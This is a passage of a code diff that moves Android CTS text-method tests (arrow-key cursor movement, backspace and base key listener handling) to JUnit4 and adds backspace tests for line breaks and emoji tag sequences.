-            mArrowKeyMovementMethod.onTouchEvent(null, mEditable,
-                    MotionEvent.obtain(0, 0, 0, 1, 1, 0));
-            fail("The method did not throw NullPointerException when param textView is null.");
-        } catch (NullPointerException e) {
-            // expected
-        }
-
-        try {
-            mArrowKeyMovementMethod.onTouchEvent(mTextView, null,
-                    MotionEvent.obtain(0, 0, 0, 1, 1, 0));
-            fail("The method did not throw NullPointerException when param spannable is null.");
-        } catch (NullPointerException e) {
-            // expected
-        }
-
-        try {
-            mArrowKeyMovementMethod.onTouchEvent(mTextView, mEditable, null);
-            fail("The method did not throw NullPointerException when param motionEvent is null.");
-        } catch (NullPointerException e) {
-            // expected
-        }
+        // Should throw NullPointerException when param spannable is null
+        mArrowKeyMovementMethod.onTouchEvent(mTextView, null, MotionEvent.obtain(0, 0, 0, 1, 1, 0));
     }
 
+    @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testOnTouchEventNullEvent() {
+        initTextViewWithNullLayout();
+        // Should throw NullPointerException when param motionEvent is null
+        mArrowKeyMovementMethod.onTouchEvent(mTextView, mEditable, null);
+    }
+
+    @Test
     public void testInitialize() {
         Spannable spannable = new SpannableString("test content");
         ArrowKeyMovementMethod method = new ArrowKeyMovementMethod();
@@ -955,15 +974,17 @@
         method.initialize(null, spannable);
         assertEquals(0, Selection.getSelectionStart(spannable));
         assertEquals(0, Selection.getSelectionEnd(spannable));
-
-        try {
-            method.initialize(mTextView, null);
-            fail("The method did not throw NullPointerException when param spannable is null.");
-        } catch (NullPointerException e) {
-            // expected
-        }
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testIntializeNullSpannable() {
+        ArrowKeyMovementMethod method = new ArrowKeyMovementMethod();
+        // Should throw NullPointerException when param spannable is null
+        method.initialize(mTextView, null);
+    }
+
+    @UiThreadTest
+    @Test
     public void testOnTrackballEven() {
         assertFalse(mArrowKeyMovementMethod.onTrackballEvent(mTextView, mEditable,
                 MotionEvent.obtain(0, 0, 0, 1, 1, 0)));
@@ -979,11 +1000,13 @@
         assertFalse(mArrowKeyMovementMethod.onTrackballEvent(mTextView, mEditable, null));
     }
 
+    @UiThreadTest
+    @Test
     public void testOnKeyUp() {
         ArrowKeyMovementMethod method = new ArrowKeyMovementMethod();
         SpannableString spannable = new SpannableString("Test Content");
         KeyEvent event = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_0);
-        TextView view = new TextViewNoIme(getActivity());
+        TextView view = new TextViewNoIme(mActivityRule.getActivity());
         view.setTextSize(TypedValue.COMPLEX_UNIT_SP, 10);
 
         assertFalse(method.onKeyUp(view, spannable, KeyEvent.KEYCODE_0, event));
@@ -1000,6 +1023,7 @@
             + "lectus porta consequ\u00e4t...  LOReM iPSuM";
 
     @UiThreadTest
+    @Test
     public void testFollowingWordStartToEnd() {
 
         // NOTE: there seems to be much variation in how word boundaries are
@@ -1010,92 +1034,93 @@
 
         // |Lorem ipsum; dolor sit $met,
         Selection.setSelection(mEditable, 0);
-        assertSelection(0);
+        verifySelection(0);
 
         // Lorem| ipsum; dolor sit $met,
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_RIGHT));
-        assertSelection(5);
+        verifySelection(5);
 
         // Lorem ipsum|; dolor sit $met,
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_RIGHT));
-        assertSelection(11);
+        verifySelection(11);
 
         // Lorem ipsum; dolor| sit $met,
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_RIGHT));
-        assertSelection(18);
+        verifySelection(18);
 
         // Lorem ipsum; dolor sit| $met,
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_RIGHT));
-        assertSelection(22);
+        verifySelection(22);
 
         // $met|, conse$_$ctetur$       Adipiscing.elit.integ$r.
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_RIGHT));
-        assertSelection(27);
+        verifySelection(27);
 
         // $met, conse$_$ctetur|$       Adipiscing.elit.integ$r.
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_RIGHT));
-        assertSelection(43);
+        verifySelection(43);
 
         // TODO: enable these two additional word breaks when implemented
 //        // $met, conse$_$ctetur$       Adipiscing|.elit.integ$r.
 //        assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_RIGHT));
-//        assertSelection(61);
+//        verifySelection(61);
 //
 //        // $met, conse$_$ctetur$       Adipiscing.elit|.integ$r.
 //        assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_RIGHT));
-//        assertSelection(66);
+//        verifySelection(66);
 
         // $met, conse$_$ctetur$       Adipiscing.elit.integ$r|.
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_RIGHT));
-        assertSelection(74);
+        verifySelection(74);
 
         // integ$r. Etiam|    tristique$tortor nec   ?:?    $$lectus porta
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_RIGHT));
-        assertSelection(81);
+        verifySelection(81);
 
         // integ$r. Etiam    tristique|$tortor nec   ?:?    $$lectus porta
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_RIGHT));
-        assertSelection(94);
+        verifySelection(94);
 
         // integ$r. Etiam    tristique$tortor| nec   ?:?    $$lectus porta
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_RIGHT));
-        assertSelection(101);
+        verifySelection(101);
 
         // integ$r. Etiam    tristique$tortor nec|   ?:?    $$lectus porta
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_RIGHT));
-        assertSelection(105);
+        verifySelection(105);
 
         // integ$r. Etiam    tristique$tortor nec   ?:?    $$lectus| porta
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_RIGHT));
-        assertSelection(123);
+        verifySelection(123);
 
         // $$lectus porta| consequ$t...  LOReM iPSuM
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_RIGHT));
-        assertSelection(129);
+        verifySelection(129);
 
         // $$lectus porta consequ$t|...  LOReM iPSuM
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_RIGHT));
-        assertSelection(139);
+        verifySelection(139);
 
         // $$lectus porta consequ$t...  LOReM| iPSuM
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_RIGHT));
-        assertSelection(149);
+        verifySelection(149);
 
         // $$lectus porta consequ$t...  LOReM iPSuM|
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_RIGHT));
-        assertSelection(155);
+        verifySelection(155);
 
         // keep trying to push beyond end, which should fail
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_RIGHT));
-        assertSelection(155);
+        verifySelection(155);
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_RIGHT));
-        assertSelection(155);
+        verifySelection(155);
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_RIGHT));
-        assertSelection(155);
+        verifySelection(155);
 
     }
 
     @UiThreadTest
+    @Test
     public void testPrecedingWordEndToStart() {
 
         // NOTE: there seems to be much variation in how word boundaries are
@@ -1106,88 +1131,88 @@
 
         // $$lectus porta consequ$t...  LOReM iPSuM|
         Selection.setSelection(mEditable, mEditable.length());
-        assertSelection(155);
+        verifySelection(155);
 
         // $$lectus porta consequ$t...  LOReM |iPSuM
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_LEFT));
-        assertSelection(150);
+        verifySelection(150);
 
         // $$lectus porta consequ$t...  |LOReM iPSuM
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_LEFT));
-        assertSelection(144);
+        verifySelection(144);
 
         // $$lectus porta |consequ$t...  LOReM iPSuM
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_LEFT));
-        assertSelection(130);
+        verifySelection(130);
 
         // $$lectus |porta consequ$t...  LOReM iPSuM
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_LEFT));
-        assertSelection(124);
+        verifySelection(124);
 
         // integ$r. Etiam    tristique$tortor nec   ?:?    $$|lectus
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_LEFT));
-        assertSelection(117);
+        verifySelection(117);
 
         // integ$r. Etiam    tristique$tortor |nec   ?:?    $$lectus
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_LEFT));
-        assertSelection(102);
+        verifySelection(102);
 
         // integ$r. Etiam    tristique$|tortor nec   ?:?    $$lectus
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_LEFT));
-        assertSelection(95);
+        verifySelection(95);
 
         // integ$r. Etiam    |tristique$tortor nec   ?:?    $$lectus
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_LEFT));
-        assertSelection(85);
+        verifySelection(85);
 
         // integ$r. |Etiam    tristique$tortor nec   ?:?    $$lectus
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_LEFT));
-        assertSelection(76);
+        verifySelection(76);
 
         // TODO: enable these two additional word breaks when implemented
 //        // dolor sit $met, conse$_$ctetur$       Adipiscing.elit.|integ$r.
 //        assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_LEFT));
-//        assertSelection(67);
+//        verifySelection(67);
 //
 //        // dolor sit $met, conse$_$ctetur$       Adipiscing.|elit.integ$r.
 //        assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_LEFT));
-//        assertSelection(62);
+//        verifySelection(62);
 
         // dolor sit $met, conse$_$ctetur$       |Adipiscing.elit.integ$r.
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_LEFT));
-        assertSelection(51);
+        verifySelection(51);
 
         // dolor sit $met, |conse$_$ctetur$       Adipiscing.elit.integ$r.
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_LEFT));
-        assertSelection(29);
+        verifySelection(29);
 
         // dolor sit |$met, conse$_$ctetur$       Adipiscing.elit.integ$r.
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_LEFT));
-        assertSelection(23);
+        verifySelection(23);
 
         // Lorem ipsum; dolor |sit $met
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_LEFT));
-        assertSelection(19);
+        verifySelection(19);
 
         // Lorem ipsum; |dolor sit $met
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_LEFT));
-        assertSelection(13);
+        verifySelection(13);
 
         // Lorem |ipsum; dolor sit $met
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_LEFT));
-        assertSelection(6);
+        verifySelection(6);
 
         // |Lorem ipsum; dolor sit $met
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_LEFT));
-        assertSelection(0);
+        verifySelection(0);
 
         // keep trying to push before beginning, which should fail
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_LEFT));
-        assertSelection(0);
+        verifySelection(0);
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_LEFT));
-        assertSelection(0);
+        verifySelection(0);
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_LEFT));
-        assertSelection(0);
+        verifySelection(0);
 
     }
 
@@ -1195,176 +1220,181 @@
             "Lorem ipsum123,456.90   dolor sit.. 4-0.0=2 ADipiscing4";
 
     @UiThreadTest
+    @Test
     public void testFollowingWordStartToEndWithNumbers() {
 
         initTextViewWithNullLayout(TEXT_WORDS_WITH_NUMBERS);
 
         // |Lorem ipsum123,456.90   dolor sit.. 4-0.0=2 ADipiscing4
         Selection.setSelection(mEditable, 0);
-        assertSelection(0);
+        verifySelection(0);
 
         // Lorem| ipsum123,456.90   dolor sit.. 4-0.0=2 ADipiscing4
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_RIGHT));
-        assertSelection(5);
+        verifySelection(5);
 
         // Lorem ipsum123,456.90|   dolor sit.. 4-0.0=2 ADipiscing4
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_RIGHT));
-        assertSelection(21);
+        verifySelection(21);
 
         // Lorem ipsum123,456.90   dolor| sit.. 4-0.0=2 ADipiscing4
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_RIGHT));
-        assertSelection(29);
+        verifySelection(29);
 
         // Lorem ipsum123,456.90   dolor sit|.. 4-0.0=2 ADipiscing4
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_RIGHT));
-        assertSelection(33);
+        verifySelection(33);
 
         // Lorem ipsum123,456.90   dolor sit.. 4|-0.0=2 ADipiscing4
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_RIGHT));
-        assertSelection(37);
+        verifySelection(37);
 
         // Lorem ipsum123,456.90   dolor sit.. 4-0.0|=2 ADipiscing4
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_RIGHT));
-        assertSelection(41);
+        verifySelection(41);
 
         // Lorem ipsum123,456.90   dolor sit.. 4-0.0=2| ADipiscing4
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_RIGHT));
-        assertSelection(43);
+        verifySelection(43);
 
         // Lorem ipsum123,456.90   dolor sit.. 4-0.0=2 ADipiscing4|
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_RIGHT));
-        assertSelection(55);
+        verifySelection(55);
 
         // keep trying to push beyond end, which should fail
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_RIGHT));
-        assertSelection(55);
+        verifySelection(55);
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_RIGHT));
-        assertSelection(55);
+        verifySelection(55);
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_RIGHT));
-        assertSelection(55);
+        verifySelection(55);
 
     }
 
     @UiThreadTest
+    @Test
     public void testFollowingWordEndToStartWithNumbers() {
 
         initTextViewWithNullLayout(TEXT_WORDS_WITH_NUMBERS);
 
         // Lorem ipsum123,456.90   dolor sit.. 4-0.0=2 ADipiscing4|
         Selection.setSelection(mEditable, mEditable.length());
-        assertSelection(55);
+        verifySelection(55);
 
         // Lorem ipsum123,456.90   dolor sit.. 4-0.0=2 |ADipiscing4
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_LEFT));
-        assertSelection(44);
+        verifySelection(44);
 
         // Lorem ipsum123,456.90   dolor sit.. 4-0.0=|2 ADipiscing4
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_LEFT));
-        assertSelection(42);
+        verifySelection(42);
 
         // Lorem ipsum123,456.90   dolor sit.. 4-|0.0=2 ADipiscing4
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_LEFT));
-        assertSelection(38);
+        verifySelection(38);
 
         // Lorem ipsum123,456.90   dolor sit.. |4-0.0=2 ADipiscing4
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_LEFT));
-        assertSelection(36);
+        verifySelection(36);
 
         // Lorem ipsum123,456.90   dolor |sit.. 4-0.0=2 ADipiscing4
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_LEFT));
-        assertSelection(30);
+        verifySelection(30);
 
         // Lorem ipsum123,456.90   |dolor sit.. 4-0.0=2 ADipiscing4
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_LEFT));
-        assertSelection(24);
+        verifySelection(24);
 
         // Lorem |ipsum123,456.90   dolor sit.. 4-0.0=2 ADipiscing4
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_LEFT));
-        assertSelection(6);
+        verifySelection(6);
 
         // |Lorem ipsum123,456.90   dolor sit.. 4-0.0=2 ADipiscing4
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_LEFT));
-        assertSelection(0);
+        verifySelection(0);
 
         // keep trying to push before beginning, which should fail
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_LEFT));
-        assertSelection(0);
+        verifySelection(0);
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_LEFT));
-        assertSelection(0);
+        verifySelection(0);
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_LEFT));
-        assertSelection(0);
+        verifySelection(0);
 
     }
 
     private static final String TEXT_WORDS_WITH_1CHAR_FINAL_WORD = "abc d";
 
     @UiThreadTest
+    @Test
     public void testFollowingWordStartToEndWithOneCharFinalWord() {
 
         initTextViewWithNullLayout(TEXT_WORDS_WITH_1CHAR_FINAL_WORD);
 
         // |abc d
         Selection.setSelection(mEditable, 0);
-        assertSelection(0);
+        verifySelection(0);
 
         // abc| d
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_RIGHT));
-        assertSelection(3);
+        verifySelection(3);
 
         // abc d|
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_RIGHT));
-        assertSelection(mEditable.length());
+        verifySelection(mEditable.length());
 
     }
 
     @UiThreadTest
+    @Test
     public void testFollowingWordEndToStartWithOneCharFinalWord() {
 
         initTextViewWithNullLayout(TEXT_WORDS_WITH_1CHAR_FINAL_WORD);
 
         // abc d|
         Selection.setSelection(mEditable, mEditable.length());
-        assertSelection(5);
+        verifySelection(5);
 
         // abc |d
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_LEFT));
-        assertSelection(4);
+        verifySelection(4);
 
         // |abc d
         assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_LEFT));
-        assertSelection(0);
+        verifySelection(0);
 
     }
 
     @UiThreadTest
+    @Test
     public void testMovementFromMiddleOfWord() {
 
         initTextViewWithNullLayout("before word after");
-        checkMoveFromInsideWord(7, 10);
+        verifyMoveFromInsideWord(7, 10);
 
         // Surrogate characters: bairkan should be considered as a standard letter
         final String BAIRKAN = "\uD800\uDF31";
 
         initTextViewWithNullLayout("before wo" + BAIRKAN + "rd after");
-        checkMoveFromInsideWord(7, 12);
+        verifyMoveFromInsideWord(7, 12);
 
         initTextViewWithNullLayout("before " + BAIRKAN + BAIRKAN + "xx after");
-        checkMoveFromInsideWord(7, 12);
+        verifyMoveFromInsideWord(7, 12);
 
         initTextViewWithNullLayout("before xx" + BAIRKAN + BAIRKAN + " after");
-        checkMoveFromInsideWord(7, 12);
+        verifyMoveFromInsideWord(7, 12);
 
         initTextViewWithNullLayout("before x" + BAIRKAN + "x" + BAIRKAN + " after");
-        checkMoveFromInsideWord(7, 12);
+        verifyMoveFromInsideWord(7, 12);
 
         initTextViewWithNullLayout("before " + BAIRKAN + "x" + BAIRKAN + "x after");
-        checkMoveFromInsideWord(7, 12);
+        verifyMoveFromInsideWord(7, 12);
 
         initTextViewWithNullLayout("before " + BAIRKAN + BAIRKAN + BAIRKAN + " after");
-        checkMoveFromInsideWord(7, 12);
+        verifyMoveFromInsideWord(7, 12);
     }
 
-    private void checkMoveFromInsideWord(int wordStart, int wordEnd) {
+    private void verifyMoveFromInsideWord(int wordStart, int wordEnd) {
 
         CharSequence text = mTextView.getText();
 
@@ -1376,7 +1406,7 @@
             }
             Selection.setSelection(mEditable, offset);
             assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_RIGHT));
-            assertSelection(wordEnd + 1);
+            verifySelection(wordEnd + 1);
         }
 
         // Check preceding always goes at the beginning of the word
@@ -1386,7 +1416,7 @@
             }
             Selection.setSelection(mEditable, offset);
             assertTrue(pressCtrlChord(KeyEvent.KEYCODE_DPAD_LEFT));
-            assertSelection(wordStart);
+            verifySelection(wordStart);
         }
     }
 
@@ -1395,7 +1425,7 @@
     }
 
     private void initTextViewWithNullLayout(CharSequence text) {
-        mTextView = new TextViewNoIme(getActivity());
+        mTextView = new TextViewNoIme(mActivityRule.getActivity());
         mTextView.setTextSize(TypedValue.COMPLEX_UNIT_SP, 10);
         mTextView.setText(text, BufferType.EDITABLE);
         assertNull(mTextView.getLayout());
@@ -1430,19 +1460,19 @@
         return mArrowKeyMovementMethod.onKeyDown(mTextView, mEditable, keyCode, keyEvent);
     }
 
-    private void assertSelection(int expectedPosition) {
-        assertSelection(expectedPosition, expectedPosition);
+    private void verifySelection(int expectedPosition) {
+        verifySelection(expectedPosition, expectedPosition);
     }
 
-    private void assertSelection(int expectedStart, int expectedEnd) {
+    private void verifySelection(int expectedStart, int expectedEnd) {
         final int actualStart = Selection.getSelectionStart(mEditable);
         final int actualEnd = Selection.getSelectionEnd(mEditable);
 
-        assertCharSequenceIndexEquals(mEditable, expectedStart, actualStart);
-        assertCharSequenceIndexEquals(mEditable, expectedEnd, actualEnd);
+        verifyCharSequenceIndexEquals(mEditable, expectedStart, actualStart);
+        verifyCharSequenceIndexEquals(mEditable, expectedEnd, actualEnd);
     }
 
-    private static void assertCharSequenceIndexEquals(CharSequence text, int expected, int actual) {
+    private static void verifyCharSequenceIndexEquals(CharSequence text, int expected, int actual) {
         final String message = "expected <" + getCursorSnippet(text, expected) + "> but was <"
                 + getCursorSnippet(text, actual) + ">";
         assertEquals(message, expected, actual);
@@ -1457,26 +1487,26 @@
         }
     }
 
-    private void assertSelectEndOfContent() {
+    private void verifySelectEndOfContent() {
         Selection.removeSelection(mEditable);
         mArrowKeyMovementMethod.onTakeFocus(mTextView, mEditable, View.FOCUS_DOWN);
-        assertSelection(END_OF_ALL_TEXT);
+        verifySelection(END_OF_ALL_TEXT);
 
         Selection.removeSelection(mEditable);
         mArrowKeyMovementMethod.onTakeFocus(mTextView, mEditable, View.FOCUS_RIGHT);
-        assertSelection(END_OF_ALL_TEXT);
+        verifySelection(END_OF_ALL_TEXT);
 
-        assertSelectEndOfContentExceptFocusForward();
+        verifySelectEndOfContentExceptFocusForward();
     }
 
-    private void assertSelectEndOfContentExceptFocusForward() {
+    private void verifySelectEndOfContentExceptFocusForward() {
         Selection.removeSelection(mEditable);
         mArrowKeyMovementMethod.onTakeFocus(mTextView, mEditable, View.FOCUS_UP);
-        assertSelection(END_OF_ALL_TEXT);
+        verifySelection(END_OF_ALL_TEXT);
 
         Selection.removeSelection(mEditable);
         mArrowKeyMovementMethod.onTakeFocus(mTextView, mEditable, View.FOCUS_LEFT);
-        assertSelection(END_OF_ALL_TEXT);
+        verifySelection(END_OF_ALL_TEXT);
     }
 
     private static class MyMetaKeyKeyListener extends MetaKeyKeyListener {
diff --git a/tests/tests/text/src/android/text/method/cts/BackspaceTest.java b/tests/tests/text/src/android/text/method/cts/BackspaceTest.java
index 1705326..0de7c6a 100644
--- a/tests/tests/text/src/android/text/method/cts/BackspaceTest.java
+++ b/tests/tests/text/src/android/text/method/cts/BackspaceTest.java
@@ -16,15 +16,23 @@
 
 package android.text.method.cts;
 
-import android.test.suitebuilder.annotation.SmallTest;
+import static org.junit.Assert.assertTrue;
+
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.InputType;
 import android.text.method.BaseKeyListener;
 import android.view.KeyEvent;
 import android.widget.TextView.BufferType;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 /**
  * Test backspace key handling of {@link android.text.method.BaseKeyListener}.
  */
+@MediumTest
+@RunWith(AndroidJUnit4.class)
 public class BackspaceTest extends KeyListenerTestCase {
     private static final BaseKeyListener mKeyListener = new BaseKeyListener() {
         public int getInputType() {
@@ -34,23 +42,17 @@
 
     // Sync the state to the TextView and call onKeyDown with KEYCODE_DEL key event.
     // Then update the state to the result of TextView.
-    private void backspace(final EditorState state, int modifiers) {
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setText(state.mText, BufferType.EDITABLE);
-                mTextView.setKeyListener(mKeyListener);
-                mTextView.setSelection(state.mSelectionStart, state.mSelectionEnd);
-            }
+    private void backspace(final EditorState state, int modifiers) throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            mTextView.setText(state.mText, BufferType.EDITABLE);
+            mTextView.setKeyListener(mKeyListener);
+            mTextView.setSelection(state.mSelectionStart, state.mSelectionEnd);
         });
         mInstrumentation.waitForIdleSync();
         assertTrue(mTextView.hasWindowFocus());
 
         final KeyEvent keyEvent = getKey(KeyEvent.KEYCODE_DEL, modifiers);
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.onKeyDown(keyEvent.getKeyCode(), keyEvent);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mTextView.onKeyDown(keyEvent.getKeyCode(), keyEvent));
         mInstrumentation.waitForIdleSync();
 
         state.mText = mTextView.getText();
@@ -58,8 +60,33 @@
         state.mSelectionEnd = mTextView.getSelectionEnd();
     }
 
-    @SmallTest
-    public void testSurrogatePairs() {
+    @Test
+    public void testCRLF() throws Throwable {
+        EditorState state = new EditorState();
+
+        // U+000A is LINE FEED.
+        state.setByString("U+000A |");
+        backspace(state, 0);
+        state.assertEquals("|");
+
+        // U+000D is CARRIAGE RETURN.
+        state.setByString("U+000D |");
+        backspace(state, 0);
+        state.assertEquals("|");
+
+        state.setByString("U+000D U+000A |");
+        backspace(state, 0);
+        state.assertEquals("|");
+
+        state.setByString("U+000A U+000D |");
+        backspace(state, 0);
+        state.assertEquals("U+000A |");
+        backspace(state, 0);
+        state.assertEquals("|");
+    }
+
+    @Test
+    public void testSurrogatePairs() throws Throwable {
         EditorState state = new EditorState();
 
         state.setByString("U+1F441 |");
@@ -73,8 +100,8 @@
         state.assertEquals("|");
     }
 
-    @SmallTest
-    public void testReplacementSpan() {
+    @Test
+    public void testReplacementSpan() throws Throwable {
         EditorState state = new EditorState();
 
         // ReplacementSpan will be set to "()" region.
@@ -115,8 +142,8 @@
         state.assertEquals("| 'g'");
     }
 
-    @SmallTest
-    public void testCombiningEnclosingKeycaps() {
+    @Test
+    public void testCombiningEnclosingKeycaps() throws Throwable {
         EditorState state = new EditorState();
 
         // U+20E3 is COMBINING ENCLOSING KEYCAP.
@@ -130,8 +157,8 @@
         state.assertEquals("|");
     }
 
-    @SmallTest
-    public void testVariationSelector() {
+    @Test
+    public void testVariationSelector() throws Throwable {
         EditorState state = new EditorState();
 
         // U+FE0F is VARIATION SELECTOR-16.
@@ -145,8 +172,8 @@
         state.assertEquals("|");
     }
 
-    @SmallTest
-    public void testFlags() {
+    @Test
+    public void testFlags() throws Throwable {
         EditorState state = new EditorState();
 
         // U+1F1FA is REGIONAL INDICATOR SYMBOL LETTER U.
@@ -176,5 +203,32 @@
         state.assertEquals("'a' |");
         backspace(state, 0);
         state.assertEquals("|");
+
+        // Single tag_base character
+        // U+1F3F4 is WAVING BLACK FLAG. This can be a tag_base character.
+        state.setByString("'a' U+1F3F4 U+1F3F4 'b' |");
+        backspace(state, 0);
+        state.assertEquals("'a' U+1F3F4 U+1F3F4 |");
+        backspace(state, 0);
+        state.assertEquals("'a' U+1F3F4 |");
+        backspace(state, 0);
+        state.assertEquals("'a' |");
+
+        // U+E0067 is TAG LATIN SMALL LETTER G. This can be a part of tag_spec.
+        // U+E0062 is TAG LATIN SMALL LETTER B. This can be a part of tag_spec.
+        // U+E0073 is TAG LATIN SMALL LETTER S. This can be a part of tag_spec.
+        // U+E0063 is TAG LATIN SMALL LETTER C. This can be a part of tag_spec.
+        // U+E0074 is TAG LATIN SMALL LETTER T. This can be a part of tag_spec.
+        // U+E007F is CANCEL TAG. This is a tag_term character.
+        final String scotland = "U+1F3F4 U+E0067 U+E0062 U+E0073 U+E0063 U+E0074 U+E007F ";
+
+        state.setByString("'a' " + scotland + scotland + "'b' |");
+        backspace(state, 0);
+        state.assertEquals("'a' " + scotland + scotland + "|");
+        backspace(state, 0);
+        state.assertEquals("'a' " + scotland + "|");
+        backspace(state, 0);
+        state.assertEquals("'a' |");
+
     }
 }
diff --git a/tests/tests/text/src/android/text/method/cts/BaseKeyListenerTest.java b/tests/tests/text/src/android/text/method/cts/BaseKeyListenerTest.java
index d913cf9..91618b9 100644
--- a/tests/tests/text/src/android/text/method/cts/BaseKeyListenerTest.java
+++ b/tests/tests/text/src/android/text/method/cts/BaseKeyListenerTest.java
@@ -16,37 +16,43 @@
 
 package android.text.method.cts;
 
-import android.cts.util.KeyEventUtil;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
 import android.os.SystemClock;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.Editable;
 import android.text.InputType;
 import android.text.Selection;
 import android.text.Spannable;
+import android.text.SpannableStringBuilder;
 import android.text.method.BaseKeyListener;
 import android.view.KeyCharacterMap;
 import android.view.KeyEvent;
 import android.widget.TextView.BufferType;
 
+import com.android.compatibility.common.util.CtsKeyEventUtil;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 /**
  * Test {@link android.text.method.BaseKeyListener}.
  */
+@MediumTest
+@RunWith(AndroidJUnit4.class)
 public class BaseKeyListenerTest extends KeyListenerTestCase {
     private static final CharSequence TEST_STRING = "123456";
 
-    private KeyEventUtil mKeyEventUtil;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mKeyEventUtil = new KeyEventUtil(getInstrumentation());
+    @Test
+    public void testBackspace() throws Throwable {
+        verifyBackspace(0);
     }
 
-    public void testBackspace() {
-        testBackspace(0);
-    }
-
-    private void testBackspace(int modifiers) {
-        final MockBaseKeyListener mockBaseKeyListener = new MockBaseKeyListener();
+    private void verifyBackspace(int modifiers) throws Throwable {
+        final BaseKeyListener mockBaseKeyListener = new MockBaseKeyListener();
         final KeyEvent event = getKey(KeyEvent.KEYCODE_DEL, modifiers);
         Editable content = Editable.Factory.getInstance().newEditable(TEST_STRING);
 
@@ -103,12 +109,14 @@
         assertEquals("\u05D6\u05D4\u0020Anroid\u0020\u05E2\u05D5\u05D1", content.toString());
     }
 
-    public void testBackspace_withShift() {
-        testBackspace(KeyEvent.META_SHIFT_ON | KeyEvent.META_SHIFT_LEFT_ON);
